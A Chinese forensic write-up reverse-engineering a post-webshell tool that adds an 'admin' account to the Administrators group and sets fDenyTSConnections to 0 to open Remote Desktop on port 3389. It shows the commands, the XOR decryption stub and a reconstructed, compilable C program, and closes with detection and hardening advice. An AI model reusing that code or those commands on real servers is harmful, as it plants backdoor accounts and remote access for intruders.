取证分析之逆向服务器提权开启3389远程连接工具
字数 1379 2025-08-19 12:40:43
逆向分析:服务器提权开启3389远程连接工具
1. 程序基本信息
- MD5值: 58946C2FE49563591EBE0D61F457DE0A
- 文件大小: 178 KB (182,526 字节)
- 病毒家族名: Virus.Win32.Parite.a
- 用途: 黑客攻击网站获取Webshell后提升服务器权限,用于站点和数据库服务器分离情况下延伸权限到数据库服务器并开启3389远程连接
2. 主要行为分析
2.1 注册表修改行为
修改以下注册表键值以开启3389端口:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections
修改内容:
- type: 0x00000004 (REG_DWORD)
- datalen: 4
- data: 00 00 00 00 (将值设为0表示允许远程连接)
2.2 用户创建行为
执行以下命令创建管理员用户:
net user admin admin123 /add- 创建用户admin,密码admin123net localgroup administrators admin /add- 将admin用户加入管理员组
3. 逆向分析过程
3.1 初步信息收集
关键API函数分析:
RegCreateKeyEx: 创建/打开注册表键RegSetValueEx: 设置注册表值的数据和类型RegCloseKey: 关闭注册表句柄LoadLibraryA: 加载DLL模块GetProcAddress: 获取DLL导出函数地址WaitForSingleObject: 等待对象信号CreateProcess: 创建新进程
3.2 反汇编分析
代码解密过程:
程序使用XOR循环解密后续汇编代码:
00404000 68 7C3D4700 push 0x473D7C
00404005 58 pop eax
00404006 68 18404000 push 3389.00404018
0040400B 5A pop edx
0040400C 68 C4060000 push 0x6C4
00404011 5E pop esi
00404012 310432 xor dword ptr ds:[edx+esi],eax ; XOR解密后续代码
00404015 83EE 04 sub esi,0x4
00404018 75 F8 jnz short 3389.00404012
0040401A 90 nop
0040401B 90 nop
0040401C E8 7D010000 call 3389.0040419E ; 解密后的代码
主要功能函数分析 (地址00401026):
-
创建用户:
- 调用
CreateProcess执行net user admin admin123 /add - 调用
CreateProcess执行net localgroup administrators admin /add
- 调用
-
修改注册表:
- 修改
SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections值为0
- 修改
3.3 还原的C代码
#include <stdio.h>
#include <windows.h>
BOOL excute(LPSTR lpCommandLine) {
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo;
HANDLE hStdInput, hStdOutput;
SECURITY_ATTRIBUTES SecAttr;
SecAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
SecAttr.bInheritHandle = TRUE;
SecAttr.lpSecurityDescriptor = NULL;
BOOL ret = CreatePipe(&hStdInput, &hStdOutput, &SecAttr, 0);
ZeroMemory(&StartupInfo, sizeof(StartupInfo));
StartupInfo.cb = sizeof(StartupInfo);
StartupInfo.hStdOutput = hStdOutput;
StartupInfo.hStdError = 0;
StartupInfo.wShowWindow = SW_HIDE;
StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
BOOL bret = CreateProcessA(0, lpCommandLine, 0, 0,
NORMAL_PRIORITY_CLASS, 0, 0, 0,
&StartupInfo, &ProcessInfo);
if(bret) {
WaitForSingleObject(ProcessInfo.hProcess,INFINITE);
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
}
return bret;
}
BOOL reg_set(HKEY hKey, LPSTR lpSubKey, LPSTR lpValueName) {
HKEY phkResult = NULL;
DWORD dwValue = 0;
RegCreateKeyEx(hKey, lpSubKey, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,
NULL, &hKey, NULL);
RegSetValueEx(hKey, lpValueName, 0, REG_DWORD,
(CONST BYTE*)&dwValue, sizeof(DWORD));
RegCloseKey(hKey);
return true;
}
int main() {
excute("net user admin admin@123 /add");
excute("net localgroup administrators admin /add");
reg_set(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Control\\Terminal Server",
"fDenyTSConnections");
return 0;
}
4. 防御措施
-
特征码扫描:
- 监控程序MD5: 58946C2FE49563591EBE0D61F457DE0A
- 监控特定字符串特征: "fDenyTSConnections"、"net user admin"等
-
行为监控:
- 监控
net和net1命令的执行 - 监控注册表键
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections的修改
- 监控
-
系统加固:
- 限制非管理员用户执行系统命令
- 监控3389端口的开启行为
- 设置账户创建和权限变更的审计策略
-
入侵检测:
- 部署IDS/IPS系统检测此类提权行为
- 记录和分析系统日志中的可疑活动
5. 总结
该工具通过以下步骤实现服务器提权:
- 创建管理员账户
- 修改注册表开启3389远程桌面服务
- 使用XOR加密技术隐藏核心代码
防御此类攻击需要结合特征检测和行为监控,特别关注系统账户和远程桌面服务的变更。